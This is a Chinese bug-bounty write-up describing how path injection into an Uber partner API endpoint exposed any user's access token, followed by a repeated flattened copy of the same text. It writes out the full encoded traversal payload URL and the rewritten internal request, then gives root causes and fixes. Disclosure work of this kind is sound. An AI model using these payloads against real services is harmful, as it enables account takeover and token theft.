Bug bounty:在Uber微服务中获取任何用户的访问令牌
字数 1328 2025-08-26 22:11:22

Uber微服务中获取任意用户访问令牌的漏洞分析

漏洞概述

本漏洞存在于Uber的微服务架构中,允许攻击者通过构造特殊的API请求获取任意用户的访问令牌,从而完全接管目标账户。该漏洞属于服务器端请求伪造(SSRF)与不安全的直接对象引用(IDOR)的组合漏洞。

漏洞发现过程

初始发现

  1. Uber构建在一系列微服务之上,内部微服务间的API调用通常缺乏权限检查
  2. 发现一个获取司机月度信息的端点:https://partners.uber.com/p3/money/statements/view/current
  3. 响应中包含完整的内部请求信息,包括:
    • 请求URI结构
    • 当前用户的访问令牌(ACCESS_TOKEN_OF_USER)
    • 值得注意的是请求中没有x-auth-header或授权header

关键观察

  1. API调用模式:前端将路径参数直接附加到内部API路径上

    • 外部请求:/p3/money/statements/view/current
    • 内部映射为:/v1/partners/xxxxx/statements/current
  2. 响应中泄露了用户访问令牌,且没有明显的授权机制

  3. 如果能够操纵请求参数,将my_user_uuid改为victim_uuid,就能获取受害者的访问令牌

漏洞利用条件

要成功利用此漏洞,需要满足以下条件:

  1. 找到一个允许传递任意参数给内部GET请求的端点
  2. 能够将编码后的字符传递给内部GET请求(如%23表示#,用于中断查询部分)
  3. 能够查看完整响应

漏洞验证

  1. 发现符合要求的端点:https://partners.uber.com/p3/money/statements/view/4cb88fb1-d3fa-3a10-e3b5-ceef8ca71faa

    • 响应显示UUID被传递到内部API的路径和查询部分
  2. 测试路径遍历:

    • 发送请求:https://partners.uber.com/p3/money/statements/view/4cb88fb1-d3fa-3a10-e3b5-ceef8ca71faa%2f..%2f4cb88fb1-d3fa-3a10-e3b5-ceef8ca71faa
    • 观察到../被转义,但仍能控制路径结构

完整利用步骤

  1. 目标内部请求结构:

    http://127.0.0.1:123/v1/partners/victim_uuid/statements/current?earnings_structure_type=&locale=en&user_id=victim_uuid
    
  2. 可控的请求结构:

    http://127.0.0.1:123/v1/statements/INJECTION_HERE?earnings_structure_type=&locale=en&statement_uuid=INJECTION_HERE&user_id=your_user_id
    
  3. 构造恶意请求:

    https://partners.uber.com/p3/money/statements/view/15327ef1-2acc-e468-e17a-576a7d12312%2f..%2f..%2f..%2Fv1%2Fpartners%2FVICTIM_UUID%2Fstatements%2Fcurrent%3Fearnings_structure_type%3D%26locale%3Den%26user_id%3DVICTIM_UUID%23
    
  4. 解码后的实际路径:

    /15327ef1-2acc-e468-e17a-576a7d12312/../../../v1/partners/VICTIM_UUID/statements/current?earnings_structure_type=&locale=en&user_id=VICTIM_UUID#
    
  5. 最终内部请求:

    http://127.0.0.1:123/v1/statements/15327ef1-2acc-e468-e17a-576a7d12312/v1/partners/VICTIM_UUID/statements/current?earnings_structure_type=&locale=en&user_id=VICTIM_UUID#......
    

漏洞原理分析

  1. 微服务架构缺陷:内部微服务间通信缺乏必要的授权检查
  2. 路径注入:前端服务将用户可控参数直接拼接到内部API路径中
  3. 响应信息泄露:内部API响应中包含敏感信息(访问令牌)
  4. 缺乏输入过滤:未对用户提供的路径参数进行充分验证和过滤

修复建议

  1. 实施严格的微服务间认证机制
  2. 对用户提供的所有参数进行严格验证和过滤
  3. 避免在响应中返回敏感信息
  4. 实施服务网格架构,统一处理服务间通信的安全问题
  5. 对内部API调用实施强制授权检查

总结

此漏洞展示了微服务架构中常见的安全问题:

  • 过度信任内部服务
  • 缺乏服务间认证
  • 敏感信息泄露
  • 不安全的参数传递

开发人员应意识到,即使内部API也应实施与外部API相同的安全标准,因为攻击者可能通过各种方式访问这些"内部"端点。

Uber微服务中获取任意用户访问令牌的漏洞分析 漏洞概述 本漏洞存在于Uber的微服务架构中,允许攻击者通过构造特殊的API请求获取任意用户的访问令牌,从而完全接管目标账户。该漏洞属于服务器端请求伪造(SSRF)与不安全的直接对象引用(IDOR)的组合漏洞。 漏洞发现过程 初始发现 Uber构建在一系列微服务之上,内部微服务间的API调用通常缺乏权限检查 发现一个获取司机月度信息的端点: https://partners.uber.com/p3/money/statements/view/current 响应中包含完整的内部请求信息,包括: 请求URI结构 当前用户的访问令牌(ACCESS_ TOKEN_ OF_ USER) 值得注意的是请求中没有x-auth-header或授权header 关键观察 API调用模式:前端将路径参数直接附加到内部API路径上 外部请求: /p3/money/statements/view/current 内部映射为: /v1/partners/xxxxx/statements/current 响应中泄露了用户访问令牌,且没有明显的授权机制 如果能够操纵请求参数,将 my_user_uuid 改为 victim_uuid ,就能获取受害者的访问令牌 漏洞利用条件 要成功利用此漏洞,需要满足以下条件: 找到一个允许传递任意参数给内部GET请求的端点 能够将编码后的字符传递给内部GET请求(如%23表示#,用于中断查询部分) 能够查看完整响应 漏洞验证 发现符合要求的端点: https://partners.uber.com/p3/money/statements/view/4cb88fb1-d3fa-3a10-e3b5-ceef8ca71faa 响应显示UUID被传递到内部API的路径和查询部分 测试路径遍历: 发送请求: https://partners.uber.com/p3/money/statements/view/4cb88fb1-d3fa-3a10-e3b5-ceef8ca71faa%2f..%2f4cb88fb1-d3fa-3a10-e3b5-ceef8ca71faa 观察到 ../ 被转义,但仍能控制路径结构 完整利用步骤 目标内部请求结构: 可控的请求结构: 构造恶意请求: 解码后的实际路径: 最终内部请求: 漏洞原理分析 微服务架构缺陷 :内部微服务间通信缺乏必要的授权检查 路径注入 :前端服务将用户可控参数直接拼接到内部API路径中 响应信息泄露 :内部API响应中包含敏感信息(访问令牌) 缺乏输入过滤 :未对用户提供的路径参数进行充分验证和过滤 修复建议 实施严格的微服务间认证机制 对用户提供的所有参数进行严格验证和过滤 避免在响应中返回敏感信息 实施服务网格架构,统一处理服务间通信的安全问题 对内部API调用实施强制授权检查 总结 此漏洞展示了微服务架构中常见的安全问题: 过度信任内部服务 缺乏服务间认证 敏感信息泄露 不安全的参数传递 开发人员应意识到,即使内部API也应实施与外部API相同的安全标准,因为攻击者可能通过各种方式访问这些"内部"端点。